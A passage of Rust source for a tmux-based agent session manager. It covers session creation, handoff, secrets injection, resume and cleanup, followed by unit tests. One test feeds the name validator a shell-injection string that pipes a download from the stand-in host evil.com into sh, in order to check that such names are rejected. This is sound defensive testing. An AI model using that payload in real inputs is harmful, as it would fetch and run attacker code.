                if !std::path::Path::new(path).exists() {
                    bail!(
                        "source session's worktree no longer exists on disk: {path} — cannot hand off"
                    );
                }
                let branch = source
                    .worktree_branch
                    .clone()
                    .unwrap_or_else(|| source.name.clone());
                Some((path.clone(), branch))
            }
            None => None,
        };

        let create_req = CreateSessionRequest {
            name,
            workdir: Some(source.workdir.clone()),
            command: req.command,
            description: req.description,
            metadata: None,
            idle_threshold_secs: req.idle_threshold_secs,
            worktree: None,
            worktree_base: None,
            runtime: None,
            secrets: req.secrets,
            term_program: req.term_program,
            budget_cost_usd: req.budget_cost_usd,
        };

        let plan = self.build_create_plan(create_req, adopt_worktree).await?;
        self.execute_create_plan(plan).await
    }

    /// Auto-generate a handoff session name: `{source}-2`, `{source}-3`, ... — the
    /// first suffix that doesn't collide with any existing session name (dead or
    /// alive, matching the CLI's own client-side dedup for the common no-name case).
    /// Falls back to `-100` unconditionally after 99 attempts, mirroring the CLI's
    /// `deduplicate_session_name` fallback.
    async fn next_handoff_name(&self, source_name: &str) -> Result<String> {
        for suffix in 2..=99u32 {
            let candidate = Self::handoff_suffixed_name(source_name, suffix);
            if self.store.get_session(&candidate).await?.is_none() {
                return Ok(candidate);
            }
        }
        Ok(Self::handoff_suffixed_name(source_name, 100))
    }

    /// Build `{source}-{suffix}`, truncating `source` (rather than bailing) so the
    /// result never exceeds the 128-char session-name limit.
    fn handoff_suffixed_name(source_name: &str, suffix: u32) -> String {
        let suffix_str = format!("-{suffix}");
        let max_source_len = 128usize.saturating_sub(suffix_str.len());
        let truncated: String = source_name.chars().take(max_source_len).collect();
        format!("{}{suffix_str}", truncated.trim_end_matches('-'))
    }

    /// Insert, create the backend session, and finalize — the shared tail of
    /// `create_session` and `handoff_session` once a [`SessionCreatePlan`] exists.
    async fn execute_create_plan(&self, mut plan: SessionCreatePlan) -> Result<Session> {
        self.store.insert_session(&plan.session).await?;

        if let Err(error) = self.backend.create_session(
            &plan.backend_id,
            &plan.effective_workdir,
            &plan.final_command,
        ) {
            self.cleanup_failed_create(&plan.session.id, plan.secrets_file.as_deref())
                .await?;
            return Err(error);
        }

        self.finalize_created_session(&mut plan.session, &plan.backend_id)
            .await?;
        Ok(plan.session)
    }

    #[allow(clippy::too_many_lines)]
    async fn build_create_plan(
        &self,
        req: CreateSessionRequest,
        adopt_worktree: Option<(String, String)>,
    ) -> Result<SessionCreatePlan> {
        // Validate session name: must be kebab-case (lowercase alphanumeric + hyphens).
        // This prevents shell injection via wrap_command where the name is interpolated
        // into a shell string, and matches the documented naming convention.
        validate_session_name(&req.name)?;

        // Resolve command and description: explicit request > configured default > $SHELL.
        let resolved = self.resolve_command(&req);
        let command = resolved.command;
        let description = resolved.description;

        // Default workdir to home dir
        let workdir = req.workdir.unwrap_or_else(|| {
            dirs::home_dir().map_or_else(|| "/tmp".to_owned(), |h| h.to_string_lossy().into_owned())
        });

        // Runtime: request overrides the default (tmux).
        // The docker runtime was removed — reject it wherever it comes from.
        let runtime = req.runtime.unwrap_or_default();
        validate_runtime(runtime)?;
        let wants_worktree = req.worktree.unwrap_or(false);
        validate_workdir(&workdir)?;

        // Create a git worktree if requested, or adopt one handed off from another
        // session (`pulpo handoff`) — the directory already exists, so no `git
        // worktree add` runs; the caller has already verified it's still on disk.
        let (effective_workdir, worktree_path, worktree_branch) = if let Some((path, branch)) =
            adopt_worktree
        {
            (path.clone(), Some(path), Some(branch))
        } else if wants_worktree {
            #[cfg(not(coverage))]
            {
                let wt_dir = worktrees_dir(self.store.data_dir());
                let wt_path =
                    create_worktree(&wt_dir, &workdir, &req.name, req.worktree_base.as_deref())?;
                (wt_path.clone(), Some(wt_path), Some(req.name.clone()))
            }
            #[cfg(coverage)]
            {
                (workdir.clone(), None, None)
            }
        } else {
            (workdir.clone(), None, None)
        };

        // Reject duplicate names among live sessions
        if self.store.has_active_session_by_name(&req.name).await? {
            bail!(
                "a session named '{}' is already active — stop it first or use a different name",
                req.name
            );
        }

        // Resolve secrets for injection.
        let secrets_env = if let Some(ref secret_names) = req.secrets
            && !secret_names.is_empty()
        {
            self.store.get_secrets_for_injection(secret_names).await?
        } else {
            HashMap::new()
        };

        let id = Uuid::new_v4();
        let name = req.name.clone();
        let backend_id = self.backend.session_id(&name);

        // Write secrets to a temp file. The file is sourced and immediately deleted
        // by the session shell, so secrets never appear in the command string visible
        // in `ps` or `capture-pane`.
        let secrets_file = if secrets_env.is_empty() {
            None
        } else {
            write_secrets_file(&id, &secrets_env, self.store.data_dir())?
        };

        let final_command = wrap_command(
            &command,
            &id,
            &name,
            secrets_file.as_deref(),
            req.term_program.as_deref(),
            self.store.data_dir(),
        );

        // Fold the explicit cost budget into the session metadata so the watchdog can
        // enforce it.
        let mut metadata = req.metadata.unwrap_or_default();
        if let Some(budget) = req.budget_cost_usd {
            metadata.insert(meta::BUDGET_COST_USD.to_owned(), budget.to_string());
        }

        let now = Utc::now();
        let session = Session {
            id,
            name,
            workdir: workdir.clone(),
            command,
            description,
            backend_session_id: Some(backend_id.clone()),
            metadata: Some(metadata),
            idle_threshold_secs: req.idle_threshold_secs,
            worktree_path,
            worktree_branch,
            runtime,
            created_at: now,
            updated_at: now,
            ..Default::default()
        };

        Ok(SessionCreatePlan {
            session,
            backend_id,
            effective_workdir,
            final_command,
            secrets_file,
        })
    }

    async fn cleanup_failed_create(
        &self,
        session_id: &Uuid,
        secrets_file: Option<&str>,
    ) -> Result<()> {
        if let Some(secrets_file) = secrets_file {
            let _ = std::fs::remove_file(secrets_file);
        }
        self.store
            .update_session_status(&session_id.to_string(), SessionStatus::Stopped)
            .await?;
        Ok(())
    }

    async fn finalize_created_session(
        &self,
        session: &mut Session,
        backend_id: &str,
    ) -> Result<()> {
        let id = session.id;
        let name = session.name.clone();
        // Query the tmux $N session ID and update if available
        if let Ok(tmux_id) = self.backend.query_backend_id(&name) {
            let _ = self
                .store
                .update_backend_session_id(&id.to_string(), &tmux_id)
                .await;
            session.backend_session_id = Some(tmux_id);
        }

        self.store
            .update_session_status(&id.to_string(), SessionStatus::Active)
            .await?;

        // Set up full per-session output capture only when explicitly enabled.
        // It is off by default: `tmux pipe-pane` mirrors every byte the agent
        // prints to disk unboundedly. The watchdog reads the live tail from tmux
        // scrollback, and the last output snapshot is persisted in the database,
        // so the daemon does not depend on this file for normal operation.
        if self.capture_session_output {
            let log_path = session_log_path(self.store.data_dir(), &id.to_string());
            if let Some(parent) = log_path.parent() {
                let _ = std::fs::create_dir_all(parent);
            }
            let _ = self
                .backend
                .setup_logging(backend_id, &log_path.to_string_lossy());
        }

        // Detect auth info from agent credentials and store in metadata
        #[cfg(not(coverage))]
        if let Some(auth_info) = crate::auth_info::detect_auth_for_command(&session.command) {
            let sid = id.to_string();
            let mut updates = vec![(meta::AUTH_PROVIDER, auth_info.provider.as_str())];
            if let Some(ref plan) = auth_info.plan {
                updates.push((meta::AUTH_PLAN, plan.as_str()));
            }
            if let Some(ref email) = auth_info.email {
                updates.push((meta::AUTH_EMAIL, email.as_str()));
            }
            let _ = self
                .store
                .batch_update_session_metadata(&sid, &updates, &[])
                .await;
            // Refresh session metadata to reflect the stored auth info
            if let Ok(Some(refreshed)) = self.store.get_session(&sid).await {
                session.metadata = refreshed.metadata;
            }
        }

        // Return the session with updated status (avoids unnecessary re-fetch)
        session.status = SessionStatus::Active;
        session.updated_at = Utc::now();
        self.emit_event(session, Some(SessionStatus::Creating));
        Ok(())
    }

    fn recreate_backend_session(
        &self,
        session: &Session,
        effective_workdir: &str,
        create_id: &str,
    ) -> Result<()> {
        let final_command = wrap_command(
            &session.command,
            &session.id,
            &session.name,
            None,
            None,
            self.store.data_dir(),
        );
        self.backend
            .create_session(create_id, effective_workdir, &final_command)
    }

    async fn refresh_backend_session_id(&self, session: &Session) {
        if let Ok(tmux_id) = self.backend.query_backend_id(&session.name) {
            let _ = self
                .store
                .update_backend_session_id(&session.id.to_string(), &tmux_id)
                .await;
        }
    }

    async fn mark_session_status(
        &self,
        session: &mut Session,
        previous_status: SessionStatus,
        next_status: SessionStatus,
    ) -> Result<()> {
        self.store
            .update_session_status(&session.id.to_string(), next_status)
            .await?;
        session.status = next_status;
        session.updated_at = Utc::now();
        self.emit_event(session, Some(previous_status));
        Ok(())
    }

    async fn mark_stale_in_sessions(&self, sessions: &mut [Session]) {
        for session in sessions {
            let _ = self.check_and_mark_stale(session).await;
        }
    }

    fn effective_resume_workdir(session: &Session) -> String {
        session
            .worktree_path
            .as_ref()
            .filter(|p| std::path::Path::new(p).exists())
            .cloned()
            .unwrap_or_else(|| session.workdir.clone())
    }

    fn resume_create_id(
        &self,
        session: &Session,
        backend_id: &str,
        prefer_name_for_tmux: bool,
    ) -> String {
        if prefer_name_for_tmux {
            self.backend.session_id(&session.name)
        } else {
            backend_id.to_owned()
        }
    }

    async fn restore_session_backend(
        &self,
        session: &Session,
        effective_workdir: &str,
        create_id: &str,
    ) -> Result<()> {
        // `resume_session`/`resume_lost_sessions` reuse the same session id when
        // recreating the backend (unlike `create_session`, which always mints a fresh
        // UUID). Purge any stale `.code`/`.clean` markers left over from a *previous*
        // run of this session id first — otherwise the next watchdog idle-check tick
        // could immediately (and wrongly) treat the freshly-resumed, actively-running
        // session as already finished.
        remove_exit_markers(self.store.data_dir(), &session.id.to_string());
        self.recreate_backend_session(session, effective_workdir, create_id)?;
        self.refresh_backend_session_id(session).await;
        Ok(())
    }

    fn stop_session_backend(&self, session: &Session, backend_id: &str) -> Result<()> {
        if let Err(error) = self.backend.kill_session(backend_id) {
            let name_id = self.backend.session_id(&session.name);
            if name_id != backend_id && self.backend.kill_session(&name_id).is_ok() {
                tracing::info!(
                    session = %session.name,
                    "Killed session by name after stale backend ID failed"
                );
                return Ok(());
            }

            if matches!(
                session.status,
                SessionStatus::Lost | SessionStatus::Stopped | SessionStatus::Ready
            ) {
                tracing::debug!(
                    session = %session.name,
                    error = %error,
                    "Ignoring kill error for {status} session",
                    status = session.status
                );
                return Ok(());
            }

            bail!("failed to stop session: {error}");
        }

        Ok(())
    }

    async fn mark_session_stopped(&self, session: &mut Session) -> Result<()> {
        let previous = session.status;
        self.store
            .update_session_status(&session.id.to_string(), SessionStatus::Stopped)
            .await?;
        session.status = SessionStatus::Stopped;
        self.emit_event(session, Some(previous));
        Ok(())
    }

    async fn purge_session(&self, session: &Session) -> Result<()> {
        let session_id = session.id.to_string();
        if let Some(ref wt_path) = session.worktree_path {
            if self.worktree_in_use_elsewhere(wt_path, &session_id).await? {
                tracing::debug!(
                    session = %session.name,
                    path = %wt_path,
                    "Skipping worktree cleanup — still referenced by another session"
                );
            } else {
                tracing::info!(
                    session = %session.name,
                    path = %wt_path,
                    "Cleaning up worktree after purge"
                );
                cleanup_worktree(wt_path, &session.workdir);
            }
        }
        remove_session_log(self.store.data_dir(), &session_id);
        remove_exit_markers(self.store.data_dir(), &session_id);
        self.store.delete_session(&session_id).await?;
        self.emit_session_deleted(session);
        Ok(())
    }

    /// True when another (non-dead) session still references `worktree_path` — guards
    /// against reclaiming a worktree that `pulpo handoff` made two sessions share.
    async fn worktree_in_use_elsewhere(
        &self,
        worktree_path: &str,
        exclude_id: &str,
    ) -> Result<bool> {
        let others = self
            .store
            .find_live_sessions_by_worktree(worktree_path, exclude_id)
            .await?;
        Ok(others.first().is_some_and(|other| {
            tracing::debug!("worktree still in use by {}", other.name);
            true
        }))
    }

    fn emit_session_deleted(&self, session: &Session) {
        if let Some(tx) = &self.event_tx {
            let _ = tx.send(PulpoEvent::SessionDeleted(SessionDeletedEvent {
                session_id: session.id.to_string(),
                session_name: session.name.clone(),
                node_name: self.node_name.clone(),
                timestamp: Utc::now().to_rfc3339(),
            }));
        }
    }

    /// Resolve the command to launch a session with: explicit request command takes
    /// precedence, then the configured `default_command`, then `$SHELL` (or `/bin/sh`).
    fn resolve_command(&self, req: &CreateSessionRequest) -> ResolvedCommand {
        // Explicit command takes precedence
        if let Some(ref cmd) = req.command {
            return ResolvedCommand {
                command: cmd.clone(),
                description: req.description.clone(),
            };
        }

        // No explicit command — fall back to default_command from config
        if let Some(ref default_cmd) = self.default_command {
            return ResolvedCommand {
                command: default_cmd.clone(),
                description: req.description.clone(),
            };
        }

        // No fallback available — fall back to $SHELL (or /bin/sh)
        let shell = std::env::var("SHELL").unwrap_or_else(|_| "/bin/sh".to_owned());
        ResolvedCommand {
            command: shell,
            description: req.description.clone(),
        }
    }

    pub async fn get_session(&self, id: &str) -> Result<Option<Session>> {
        let session = self.store.get_session(id).await?;
        match session {
            Some(mut s) => {
                if self.check_and_mark_stale(&mut s).await? {
                    self.emit_event(&s, Some(SessionStatus::Active));
                }
                Ok(Some(s))
            }
            None => Ok(None),
        }
    }

    pub async fn list_sessions(&self) -> Result<Vec<Session>> {
        let mut sessions = self.store.list_sessions().await?;
        self.mark_stale_in_sessions(&mut sessions).await;
        Ok(sessions)
    }

    pub async fn list_sessions_filtered(
        &self,
        query: &pulpo_common::api::ListSessionsQuery,
    ) -> Result<Vec<Session>> {
        let mut sessions = self.store.list_sessions_filtered(query).await?;
        self.mark_stale_in_sessions(&mut sessions).await;
        Ok(sessions)
    }

    /// Check if a running session is still alive; if not, mark it stale.
    /// Returns `Ok(true)` if the session was transitioned to stale.
    ///
    /// Checks `Active`, `Idle`, and `Ready` sessions — after a reboot, tmux
    /// sessions are gone but DB status may still say Idle. `Ready` is included too:
    /// a session whose agent already exited (marker written, fallback shell
    /// lingering) is still watched here, otherwise a `Ready` session whose tmux
    /// backend later dies would never be reclassified and would stay `Ready`
    /// forever whenever `ready_ttl_secs` is disabled (the default).
    ///
    /// When the backend is dead, the exit markers written by `wrap_command`
    /// (`{data_dir}/exit/{id}.code` and `{id}.clean`) decide the terminal state:
    /// their presence means the wrapped shell ran to completion on its own — an
    /// intentional end — so the session resolves to `Stopped` (with `exit_code`
    /// recorded when the `.code` marker parsed). Their absence means tmux
    /// disappeared out from under a still-running session (crash, `kill-session`,
    /// `kill-server`, reboot) with no evidence of a clean end, so it resolves to
    /// `Lost`, unchanged from before. Markers are read fresh from disk on every
    /// call, so this is race-free even across a daemon restart.
    async fn check_and_mark_stale(&self, session: &mut Session) -> Result<bool> {
        if !matches!(
            session.status,
            SessionStatus::Active | SessionStatus::Idle | SessionStatus::Ready
        ) {
            return Ok(false);
        }
        // Grace period: skip staleness check for recently created sessions to avoid a
        // race where `is_alive()` returns false before tmux is fully ready.
        let age = Utc::now() - session.created_at;
        if age.num_seconds() < self.stale_grace_secs {
            return Ok(false);
        }
        let backend_id = self.resolve_backend_id(session);
        let alive = self.backend.is_alive(&backend_id)?;
        if alive {
            return Ok(false);
        }
        self.resolve_dead_backend_session(session).await?;
        Ok(true)
    }

    /// Shared tail of `check_and_mark_stale` and `resume_lost_sessions`: a session's
    /// backend has been found dead — resolve it to `Stopped` (clean end, per an exit
    /// marker) or `Lost` (no evidence of a clean end), persisting `exit_code` when the
    /// `.code` marker parsed to a number.
    async fn resolve_dead_backend_session(&self, session: &mut Session) -> Result<()> {
        let id = session.id.to_string();
        let data_dir = self.store.data_dir();
        if has_exit_marker(data_dir, &id) {
            if let Some(code) = read_exit_code_marker(data_dir, &id) {
                self.store.update_session_exit_code(&id, code).await?;
                session.exit_code = Some(code);
            }
            self.store
                .update_session_status(&id, SessionStatus::Stopped)
                .await?;
            session.status = SessionStatus::Stopped;
        } else {
            self.store
                .update_session_status(&id, SessionStatus::Lost)
                .await?;
            session.status = SessionStatus::Lost;
        }
        Ok(())
    }

    pub async fn stop_session(&self, id: &str, purge: bool) -> Result<()> {
        let mut session = self
            .store
            .get_session(id)
            .await?
            .ok_or_else(|| anyhow!("session not found: {id}"))?;

        let backend_id = self.resolve_backend_id(&session);
        self.stop_session_backend(&session, &backend_id)?;
        self.mark_session_stopped(&mut session).await?;

        if purge {
            self.purge_session(&session).await?;
        }

        Ok(())
    }

    pub async fn cleanup_dead_sessions(&self) -> Result<CleanupResponse> {
        let data_dir = self.store.data_dir().to_owned();
        let dead_sessions = self.store.fetch_dead_sessions().await?;

        let mut worktrees_cleaned = 0u64;
        let mut logs_cleaned = 0u64;

        // 1. Reclaim worktrees + per-session log files for dead (stopped/lost) sessions.
        //    A worktree shared with another still-live session (via `pulpo handoff`)
        //    is left alone — it's reclaimed once every referencing session is dead.
        for session in &dead_sessions {
            if let Some(ref wt_path) = session.worktree_path {
                let sid = session.id.to_string();
                if self.worktree_in_use_elsewhere(wt_path, &sid).await? {
                    tracing::debug!(
                        session = %session.name,
                        path = %wt_path,
                        "Skipping worktree cleanup — still referenced by another session"
                    );
                } else {
                    cleanup_worktree(wt_path, &session.workdir);
                    worktrees_cleaned += 1;
                }
            }
            if remove_session_log(&data_dir, &session.id.to_string()) {
                logs_cleaned += 1;
            }
            if remove_exit_markers(&data_dir, &session.id.to_string()) {
                logs_cleaned += 1;
            }
        }
        let ids: Vec<String> = dead_sessions.iter().map(|s| s.id.to_string()).collect();
        if !ids.is_empty() {
            self.store.delete_sessions_bulk(&ids).await?;
            for session in &dead_sessions {
                self.emit_session_deleted(session);
            }
        }

        // 2. Safe orphan sweep: directories and log files left behind by sessions that
        //    are no longer in the database at all. A still-referenced session (any
        //    status, including active/idle/ready) is never touched.
        let remaining = self.store.list_sessions().await.unwrap_or_default();
        let referenced_worktrees: HashSet<String> = remaining
            .iter()
            .filter_map(|s| s.worktree_path.clone())
            .collect();
        let known_ids: HashSet<String> = remaining.iter().map(|s| s.id.to_string()).collect();

        for dir in find_orphan_worktree_dirs(&worktrees_dir(&data_dir), &referenced_worktrees) {
            match std::fs::remove_dir_all(&dir) {
                Ok(()) => {
                    tracing::info!(path = %dir.display(), "Removed orphaned worktree directory");
                    worktrees_cleaned += 1;
                }
                Err(e) => {
                    tracing::warn!(path = %dir.display(), error = %e, "Failed to remove orphaned worktree");
                }
            }
        }
        let logs_dir = std::path::Path::new(&data_dir).join("logs");
        for log in find_orphan_session_logs(&logs_dir, &known_ids) {
            if std::fs::remove_file(&log).is_ok() {
                logs_cleaned += 1;
            }
        }
        for marker in find_orphan_exit_markers(&exit_dir(&data_dir), &known_ids) {
            if std::fs::remove_file(&marker).is_ok() {
                logs_cleaned += 1;
            }
        }

        Ok(CleanupResponse {
            sessions_deleted: dead_sessions.len() as u64,
            worktrees_cleaned,
            logs_cleaned,
        })
    }

    pub fn capture_output(&self, id: &str, backend_id: &str, lines: usize) -> String {
        self.backend
            .capture_output(backend_id, lines)
            .unwrap_or_else(|_| self.read_log_tail(id, lines))
    }

    fn read_log_tail(&self, id: &str, lines: usize) -> String {
        let log_path = session_log_path(self.store.data_dir(), id);
        let content = std::fs::read_to_string(&log_path).unwrap_or_default();
        let mut tail: Vec<&str> = content.lines().rev().take(lines).collect();
        tail.reverse();
        tail.join("\n")
    }

    pub fn send_input(&self, backend_id: &str, text: &str) -> Result<()> {
        self.backend.send_input(backend_id, text)
    }

    pub async fn resume_session(&self, id: &str) -> Result<Session> {
        let session = self
            .store
            .get_session(id)
            .await?
            .ok_or_else(|| anyhow!("session not found: {id}"))?;

        let previous_status = session.status;
        if previous_status != SessionStatus::Lost
            && previous_status != SessionStatus::Ready
            && previous_status != SessionStatus::Stopped
        {
            bail!(
                "session cannot be resumed (status: {previous_status}) — only stopped, lost, or ready sessions can be resumed"
            );
        }

        // Historical docker-runtime sessions remain readable but cannot be resumed.
        if session.runtime == Runtime::Docker {
            bail!("{DOCKER_RUNTIME_REMOVED} — historical docker sessions cannot be resumed");
        }

        // Check for name collision with another live session (exclude self)
        if self
            .store
            .has_active_session_by_name_excluding(&session.name, Some(&session.id.to_string()))
            .await?
        {
            bail!(
                "another session named '{}' is already active — stop it first before resuming",
                session.name
            );
        }

        // Use worktree path as workdir if it still exists, otherwise fall back to original workdir.
        let effective_workdir = Self::effective_resume_workdir(&session);
        validate_workdir(&effective_workdir)?;

        // If the backend session is still alive, just re-mark it as running.
        // Only recreate the session if the backend process is gone.
        let backend_id = self.resolve_backend_id(&session);
        let alive = self.backend.is_alive(&backend_id)?;
        if !alive {
            // Use session name for the new tmux session, not the stale $N backend ID.
            // The old backend_session_id may point to a dead tmux session that no longer exists.
            let create_id = self.resume_create_id(&session, &backend_id, true);
            self.restore_session_backend(&session, &effective_workdir, &create_id)
                .await?;
        }

        let mut session = session;
        self.mark_session_status(&mut session, previous_status, SessionStatus::Active)
            .await?;
        Ok(session)
    }

    /// Resume all sessions that were Active or Idle but have dead backends, and
    /// eagerly reclassify dead `Ready` sessions (see [`Self::check_and_mark_stale`]
    /// for why `Ready` needs the same dead-backend sweep as Active/Idle). Called on
    /// startup to recover sessions lost during a reboot.
    /// Returns the number of sessions successfully resumed (`Ready` sessions are
    /// never counted — see below).
    pub async fn resume_lost_sessions(&self) -> Result<usize> {
        let sessions = self.store.list_sessions().await?;
        let mut resumed = 0;
        for mut session in sessions {
            let is_ready = session.status == SessionStatus::Ready;
            if !is_ready
                && session.status != SessionStatus::Active
                && session.status != SessionStatus::Idle
            {
                continue;
            }
            // The docker runtime was removed — historical docker sessions cannot be
            // auto-resumed in tmux. Mark them Lost so they surface in the dashboard.
            // A `Ready` session can never be docker-runtime (the runtime was removed
            // before this fix), so this only ever applies to Active/Idle.
            if !is_ready && session.runtime == Runtime::Docker {
                tracing::warn!(
                    session = %session.name,
                    "Cannot auto-resume docker-runtime session — {DOCKER_RUNTIME_REMOVED}"
                );
                self.store
                    .update_session_status(&session.id.to_string(), SessionStatus::Lost)
                    .await?;
                continue;
            }
            let backend_id = self.resolve_backend_id(&session);
            let alive = self.backend.is_alive(&backend_id).unwrap_or(false);
            if alive {
                continue;
            }
            if is_ready {
                // `Ready` sessions are never auto-resumed (recreating the backend and
                // re-launching the original command makes no sense once the agent has
                // already finished) — only ever reclassified via the exit markers,
                // eagerly here rather than waiting for the next `get_session`/
                // `list_sessions` call to lazily run the same check.
                self.resolve_dead_backend_session(&mut session).await?;
                continue;
            }
            // The session ended cleanly while the daemon wasn't polling it (either it
            // exited before pulpod stopped, or after — the marker is written by the
            // wrapper shell itself, independent of daemon uptime). Resolve it to
            // Stopped instead of blindly auto-resuming (re-launching the original
            // command) — this must be checked *before* the resume attempt below.
            if has_exit_marker(self.store.data_dir(), &session.id.to_string()) {
                self.resolve_dead_backend_session(&mut session).await?;
                continue;
            }
            // Backend is dead — resume the session
            let create_id = self.resume_create_id(&session, &backend_id, false);
            if let Err(e) = self
                .restore_session_backend(&session, &session.workdir, &create_id)
                .await
            {
                tracing::warn!(
                    session = %session.name,
                    error = %e,
                    "Failed to auto-resume session on startup"
                );
                self.store
                    .update_session_status(&session.id.to_string(), SessionStatus::Lost)
                    .await?;
                continue;
            }

            // Re-mark as Active
            self.store
                .update_session_status(&session.id.to_string(), SessionStatus::Active)
                .await?;
            tracing::info!(session = %session.name, "Auto-resumed session after restart");
            resumed += 1;
        }
        Ok(resumed)
    }

    pub const fn store(&self) -> &Store {
        &self.store
    }
}

#[cfg(test)]
mod tests {
    use super::*;
    use crate::session::utils::{exit_clean_marker_path, exit_code_marker_path};
    use pulpo_common::event::SessionEvent;
    use std::sync::Mutex;

    /// Extract the inner `SessionEvent` from a `PulpoEvent`.
    fn unwrap_session_event(event: PulpoEvent) -> SessionEvent {
        match event {
            PulpoEvent::Session(se) => se,
            PulpoEvent::SessionDeleted(_)
            | PulpoEvent::UsageAlert(_)
            | PulpoEvent::Intervention(_) => {
                panic!("expected session event")
            }
        }
    }

    struct MockBackend {
        create_result: Mutex<Result<()>>,
        kill_result: Mutex<Result<()>>,
        alive: Mutex<bool>,
        captured_output: Mutex<String>,
        calls: Mutex<Vec<String>>,
    }

    impl MockBackend {
        fn new() -> Self {
            Self {
                create_result: Mutex::new(Ok(())),
                kill_result: Mutex::new(Ok(())),
                alive: Mutex::new(true),
                captured_output: Mutex::new("test output".into()),
                calls: Mutex::new(vec![]),
            }
        }

        fn with_create_error(self) -> Self {
            *self.create_result.lock().unwrap() = Err(anyhow!("backend not found"));
            self
        }

        fn with_kill_error(self) -> Self {
            *self.kill_result.lock().unwrap() = Err(anyhow!("kill failed"));
            self
        }

        fn with_alive(self, alive: bool) -> Self {
            *self.alive.lock().unwrap() = alive;
            self
        }
    }

    impl Backend for MockBackend {
        fn create_session(&self, name: &str, working_dir: &str, command: &str) -> Result<()> {
            self.calls
                .lock()
                .unwrap()
                .push(format!("create:{name}:{working_dir}:{command}"));
            let mut result = self.create_result.lock().unwrap();
            std::mem::replace(&mut *result, Ok(()))
        }

        fn kill_session(&self, name: &str) -> Result<()> {
            self.calls.lock().unwrap().push(format!("kill:{name}"));
            let mut result = self.kill_result.lock().unwrap();
            std::mem::replace(&mut *result, Ok(()))
        }

        fn is_alive(&self, name: &str) -> Result<bool> {
            self.calls.lock().unwrap().push(format!("is_alive:{name}"));
            Ok(*self.alive.lock().unwrap())
        }

        fn capture_output(&self, name: &str, lines: usize) -> Result<String> {
            self.calls
                .lock()
                .unwrap()
                .push(format!("capture:{name}:{lines}"));
            Ok(self.captured_output.lock().unwrap().clone())
        }

        fn send_input(&self, name: &str, text: &str) -> Result<()> {
            self.calls
                .lock()
                .unwrap()
                .push(format!("send_input:{name}:{text}"));
            Ok(())
        }

        fn setup_logging(&self, name: &str, log_path: &str) -> Result<()> {
            self.calls
                .lock()
                .unwrap()
                .push(format!("setup_logging:{name}:{log_path}"));
            Ok(())
        }

        fn query_backend_id(&self, name: &str) -> anyhow::Result<String> {
            Ok(format!("${}", name.len()))
        }

        fn list_sessions(&self) -> anyhow::Result<Vec<(String, String)>> {
            Ok(Vec::new())
        }
    }

    struct FailCapture;
    impl Backend for FailCapture {
        fn create_session(&self, _: &str, _: &str, _: &str) -> Result<()> {
            Ok(())
        }
        fn kill_session(&self, _: &str) -> Result<()> {
            Ok(())
        }
        fn is_alive(&self, _: &str) -> Result<bool> {
            Ok(true)
        }
        fn capture_output(&self, _: &str, _: usize) -> Result<String> {
            Err(anyhow!("session not alive"))
        }
        fn send_input(&self, _: &str, _: &str) -> Result<()> {
            Ok(())
        }
        fn setup_logging(&self, _: &str, _: &str) -> Result<()> {
            Ok(())
        }
    }

    async fn test_manager(
        backend: MockBackend,
    ) -> (SessionManager, Arc<MockBackend>, sqlx::SqlitePool) {
        let tmpdir = tempfile::tempdir().unwrap();
        let tmpdir = Box::leak(Box::new(tmpdir));
        let store = Store::new(tmpdir.path().to_str().unwrap()).await.unwrap();
        store.migrate().await.unwrap();
        let pool = store.pool().clone();
        let backend = Arc::new(backend);
        let manager = SessionManager::new(backend.clone(), store, None).with_no_stale_grace();
        (manager, backend, pool)
    }

    fn make_req(name: &str) -> CreateSessionRequest {
        CreateSessionRequest {
            name: name.to_owned(),
            workdir: Some("/tmp".into()),
            command: Some("echo hello".into()),
            description: None,
            metadata: None,
            idle_threshold_secs: None,
            worktree: None,
            worktree_base: None,
            runtime: None,
            secrets: None,
            term_program: None,
            budget_cost_usd: None,
        }
    }

    #[tokio::test]
    async fn test_create_session_defaults() {
        let (mgr, backend, _pool) = test_manager(MockBackend::new()).await;
        let session = mgr.create_session(make_req("fix-the-bug")).await.unwrap();

        assert_eq!(session.name, "fix-the-bug");
        assert_eq!(session.command, "echo hello");
        assert_eq!(session.status, SessionStatus::Active);
        assert_eq!(session.workdir, "/tmp");
        // MockBackend.query_backend_id() returns $N where N is the name length
        assert_eq!(session.backend_session_id, Some("$11".into()));

        let calls = backend.calls.lock().unwrap();
        // All commands wrapped in bash -l -c for session survival
        assert!(calls[0].contains("-l -c"));
        assert!(calls[0].contains("echo hello"));
        // Output capture is off by default, so no setup_logging call is made.
        assert!(!calls.iter().any(|c| c.starts_with("setup_logging:")));
        assert_eq!(calls.len(), 1);
        drop(calls);
    }

    #[tokio::test]
    async fn test_create_session_no_command_falls_back_to_shell() {
        let (mgr, backend, _pool) = test_manager(MockBackend::new()).await;
        let req = CreateSessionRequest {
            name: "test".into(),
            workdir: Some("/tmp".into()),
            command: None,
            description: None,
            metadata: None,
            idle_threshold_secs: None,
            worktree: None,
            worktree_base: None,
            runtime: None,
            secrets: None,
            term_program: None,
            budget_cost_usd: None,
        };
        let session = mgr.create_session(req).await.unwrap();
        // Should fall back to $SHELL or /bin/sh
        assert!(!session.command.is_empty());
        let calls = backend.calls.lock().unwrap();
        assert!(calls[0].contains("-l -c"));
        drop(calls);
    }

    #[test]
    fn test_validate_session_name_valid() {
        assert!(validate_session_name("my-session").is_ok());
        assert!(validate_session_name("a").is_ok());
        assert!(validate_session_name("fix-auth-123").is_ok());
        assert!(validate_session_name("nightly-20260331-0300").is_ok());
    }

    #[test]
    fn test_validate_session_name_rejects_shell_injection() {
        let result = validate_session_name("x'; curl evil.com | sh; echo '");
        assert!(result.is_err());
        assert!(result.unwrap_err().to_string().contains("lowercase"));
    }

    #[test]
    fn test_validate_session_name_rejects_special_chars() {
        assert!(validate_session_name("").is_err());
        assert!(validate_session_name("Has Spaces").is_err());
        assert!(validate_session_name("UPPERCASE").is_err());
        assert!(validate_session_name("has.dots").is_err());
        assert!(validate_session_name("has:colons").is_err());
        assert!(validate_session_name("-leading-hyphen").is_err());
        assert!(validate_session_name("trailing-hyphen-").is_err());
    }

    #[test]
    fn test_validate_session_name_rejects_long_names() {
        let long = "a".repeat(129);
        assert!(validate_session_name(&long).is_err());
        let ok = "a".repeat(128);
        assert!(validate_session_name(&ok).is_ok());
    }

    #[test]
    fn test_wrap_command_escapes_session_name() {
        // Even if validation is bypassed, wrap_command should escape the name
        let id = uuid::Uuid::new_v4();
        let wrapped = wrap_command("echo test", &id, "safe-name", None, None, "/tmp");
        assert!(wrapped.contains("PULPO_SESSION_NAME=safe-name"));
        // Verify single quotes in name would be escaped (defense-in-depth)
